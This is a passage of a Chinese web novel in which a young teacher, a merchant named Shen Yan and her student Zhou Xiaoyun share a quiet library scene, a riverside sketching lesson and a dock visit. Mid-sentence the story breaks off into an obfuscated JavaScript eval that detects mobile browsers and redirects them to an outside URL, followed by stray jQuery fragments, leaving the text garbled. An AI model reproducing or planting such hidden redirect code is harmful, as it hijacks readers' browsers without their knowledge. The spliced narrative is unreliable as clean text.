几日后，沈晏来私塾送第二批书时，何思玥将借据和便笺一并交给他。


    藏书阁里，阳光正好照在靠窗的书桌上。沈晏展开借据，目光落在那枚铜钱印上，眉梢微微挑起。


    “光绪通宝。”他用指尖虚虚点了点印迹，“有意思。”


    “她说这是她娘给的压箱钱。”何思玥站在桌边，看着他把借据举到阳光下细看。


    沈晏没接话，只是从西装内袋掏出一个牛皮纸文件夹，小心翼翼地将借据夹进去。那文件夹里已经有不少文件，何思玥瞥见最上面是一张码头仓库的租赁合同。


    “你不怕她将来还不起？”何思玥问。


    沈晏合上文件夹，抬眼看她：“何老师觉得呢？”


    这个问题抛了回来。


    何思玥沉默片刻，看向窗外——周晓芸正在庭院里帮花匠浇水，蓝布衫的袖子挽到手肘，露出细瘦却有力的手腕。


    “我觉得她会。”何思玥听见自己说，“她眼睛里有光。”


    沈晏顺着她的目光望去，镜片后的眼睛眯了眯，像是在评估什么。片刻，他忽然开口：“那何老师呢？”


    “我？”何思玥不解。


    “你的眼睛里的光回来了吗？”


    这问题问得猝不及防。


    何思玥怔住了，下意识想避开他的目光，却发现自己已经看了回去。


    沈晏的眼神很平静，没有探究，没有算计，只是单纯地问一个问题——就像问今天的天气。


    藏书阁很静。远处传来学生朗读课文的声音，是《木兰辞》：“唧唧复唧唧，木兰当户织……”


    “我不知道。”何思玥最终诚实地说，“但至少……不再全是灰烬了。”


    沈晏点点头，像是收到了一个满意的答案。他从书桌上拿起那本夹着紫藤标本的《植物学浅说》，翻到那一页。


    “这株紫藤，在苏州的拙政园。”他说得很随意，“我去看一批丝绸，路过园子，见它开得好，就采了一串。”他顿了顿，“园丁说，这株藤已经两百多年了，太平天国时园子烧了大半，它却活了下来。”


    何思玥看着那枚干花标本，淡紫色的花瓣在书页间压得平整，仿佛时间在它身上静止了。


    “为什么要跟我说这些？”她问。


    沈晏合上书，轻轻放在桌上：“因为何老师教文学，应该懂得——有些东西，经历过烈火，才会开出更坚韧的花。”


    他说完，拿起文件夹和呢帽：“我还要去码头，一批货到了。周晓芸的学费，每月初我会让人送来。”


    走到门口时，他忽然停住，从文件夹里抽出一张纸——是何思玥写的那张便签。


    “字写得很好。”他说，嘴角有淡淡的笑意，“比我的清单有人情味。”


    然后他便走了，脚步声在回廊里渐行渐远。


    何思玥站在原地，许久，才伸手拿起那本《植物学浅说》。她翻开夹着标本的那一页，在紫藤花的插图旁，又看到了一行小字——是她上次没注意到的：


    “藤本植物，根系深扎，虽遇风雨而不折。——沈晏识”


    字迹工整，和那些清单上的数字一样一丝不苟。


    窗外，周晓芸浇完了水，正抬头朝藏书阁这边望来。看见何思玥，她挥了挥手，脸上绽开一个明亮的笑容。


    何思玥也朝她挥了挥手。


    春风穿过敞开的窗户，吹动了书页，那枚紫藤标本轻轻颤动，仿佛在回应风的呼唤。


    “我看明日的天气很好，要不要和老师一起户外写生？”


    何思玥的话一开始像是一颗石子沉入了湖底，同学们面面相觑，她们之前接受了老派思想，只在教室里上课，没有想到还可以在户外。


    周晓芸看了看四周的同学，积极地举起手，“何老师，我愿意和你一起户外写生。”


    大家看到周晓芸举起手，有的同学也渐渐地跟着响应。


    何思玥笑了：“那好，明日午后就出发。我们去城西的小河边——那里有柳树，有桃花，正是写生的好时节。”


    消息在私塾里传开，女孩们都有些雀跃。


    次日午后，何思玥领着十来个学生出了门，每人背着画板，提着简易的木画箱。春日的阳光暖暖的，洒在青石板路上，映得女孩们蓝布衫的衣角都泛着光。


    城西的小河绕过半座城，岸边垂柳新绿，桃花开得正盛。


    何思玥选了处平坦的河滩，学生们三三两两地散开，有的坐在石头上，有的干脆垫了手帕席地而坐。


    周晓芸画得最认真。她选了棵老柳树，枝桠垂到水面，柳絮飘飘扬扬地落下来，像下着一场温柔的雪。


    何思玥走过去看时，她正在调色——用的是最便宜的颜料，却调出了柳芽那种嫩得透明的绿。


    “这里再加点黄。”何思玥指点道，“春日的绿，该是带着光亮的。”


    正说着，忽然听见不远处传来声响，抬眼望去，一辆黑色轿车正沿着河边的土路缓缓驶来——这年头汽车还是稀罕物，学生们都好奇地抬头张望。


    车在不远处停下。


    车门打开，沈晏从车上下来，今日穿了身浅灰色的猎装，手里还拿着顶帆布帽。他看见何思玥和学生们，显然也有些意外。


    “沈公子？”何思玥站起身。


    “何老师。”沈晏朝她点点头，又看向那些好奇的学生们，“这是……上课？”


    “户外写生课。”何思玥解释，“教她们观察自然，用眼睛记录春天，到大自然中感受春的温度。”


    沈晏推了推眼镜，目光扫过河滩上的女孩们。


    她们有的在画桃花，有的在画远山，虽然笔法稚嫩，但神情都专注得很。阳光照在一张张年轻的脸上，让人想起初绽的花苞。


    “有点意思。”他走近几步，恰好看见周晓芸的画板。画上的柳树已经初具形态，枝条的垂坠感画得很生动。


    周晓芸见他过来，有些紧张地站起来：“沈先生。”


    “画得很好。”沈晏仔细看了看，“尤其是柳絮，用了留白的手法？聪明。”他说话时语气平和，没有半点居高临下的意思。


    周晓芸的脸微微红了，小声道：“是何老师教的，说中国画讲究计白当黑。”


    沈晏点点头，转向何思玥：“何老师果然会教。”他从猎装口袋里掏出个小本子——又是那本便签，“不过既然到了户外，只画风景未免可惜。”他翻了翻本子，“这附近有个小码头，常有货船卸货。若是画些市井百态，或许更有意思。”


    何思玥愣了一下：“码头？”


    “嗯。”沈晏收起本子，“离这儿不远，步行一刻钟。我正要去那边看批货，若何老师愿意，可以带学生们去看看——当然，要看她们愿不愿意。”


    学生们互相看了看，最后目光都落在何思玥身上。这些女孩大多养在深闺，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978431|193555||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    码头对她们来说，是个陌生而新鲜的世界。


    “老师，”周晓芸第一个开口，“我想去。”


    “我也想去。”另一个女孩小声说。


    何思玥看着她们期待的眼神，点了点头：“好，那我们就去。”


    一行人沿着河岸往上游走。


    沈晏走在前面引路，他步子不快，不时回头看看队伍有没有跟上。阳光照在他浅灰色的猎装上，背影挺拔，竟有几分像是带队的向导。


    走了约莫一刻钟，果然看见一个小码头。


    不大，只停着两三艘木船，但岸边人来人往，很是热闹。扛包的苦力、叫卖的小贩、等客的黄包车夫，还有蹲在岸边洗衣的妇人——是一幅活生生的市井画卷。


    学生们都看呆了。


    她们从未见过这样的场景：汗水、尘土、吆喝声，混杂着河水的腥气和岸上饭摊的油烟味。


    “就在这里画吧。”何思玥选了个稍高的土坡，可以俯瞰整个码头，“注意观察人物的动作、神态，不一定要画得多精细，但要抓住那个‘活’字。”


    女孩们纷纷打开画板。


    起初还有些拘谨，但很快就被码头的生动吸引了去。


    沈晏没有离开，他走到一处茶摊坐下，要了壶粗茶，从怀里掏出那本总是随身携带的账簿翻看。


    但何思玥注意到，他翻页的节奏很慢，目光不时会从账簿上抬起，望向土坡上的学生们。


    尤其会望向她，眼神格外的炽热。


    又一次目光相触时，何思玥没有避开。


    她朝他微微颔首，然后继续指导身旁的学生：“你看那个扛包的苦力，他的腰是弯的，但肩膀是挺着的——这就是生活的重量。”


    沈晏听了，嘴角勾起一丝笑意。他合上账簿，起身走到何思玥身边。


    “何老师说得对。”他看着码头上来往的人群，“这些人，每个人身上都扛着自己的生活。苦力扛的是麻袋，小贩扛的是生计，车夫扛的是全家老小的指望。”他顿了顿，“而她们——”他看向那些埋首画画的女孩，“她们现在扛的，是画笔。但将来，也会扛起自己的人生。”


    这话说得深，何思玥侧头看他。


    阳光从侧面照来，在他眼镜边上镀了圈金边，让那双总是精于算计的眼睛，此刻看起来竟有几分温和的哲思。


    “沈公子似乎很懂生活。”她说。


    “做生意，就得懂人。”沈晏重新戴上帆布帽，“知道人需要什么，害怕什么，为什么奔波，为什么坚持。”他指着码头上一个正在啃烧饼的苦力，“比如他，现在最需要的是填饱肚子。但若你问他，他可能会说，最需要的是儿子的学费。”


    何思玥顺着他的手指望去。那苦力约莫四十来岁，衣服上满是补丁，但吃烧饼时，脸上有种简单的满足。


    “你怎么知道？”


    “猜的。”沈晏笑了笑，“但也未必是瞎猜。这码头的苦力，大多有家要养。我厂里也有这样的工人，每日下工，第一件事就是把工钱交到老婆手里，留几个铜板买烧饼。”


    他说这些时，语气很平淡，没有怜悯，也没有高高在上的同情，就像在陈述一个事实。


    何思玥忽然想起父亲曾说，沈家虽是商贾，但对待工人向来公道，从不拖欠工钱，当时她不以为然，觉得不过是笼络人心的手段。


    现在看着沈晏平静的侧脸，她忽然有些不确定了。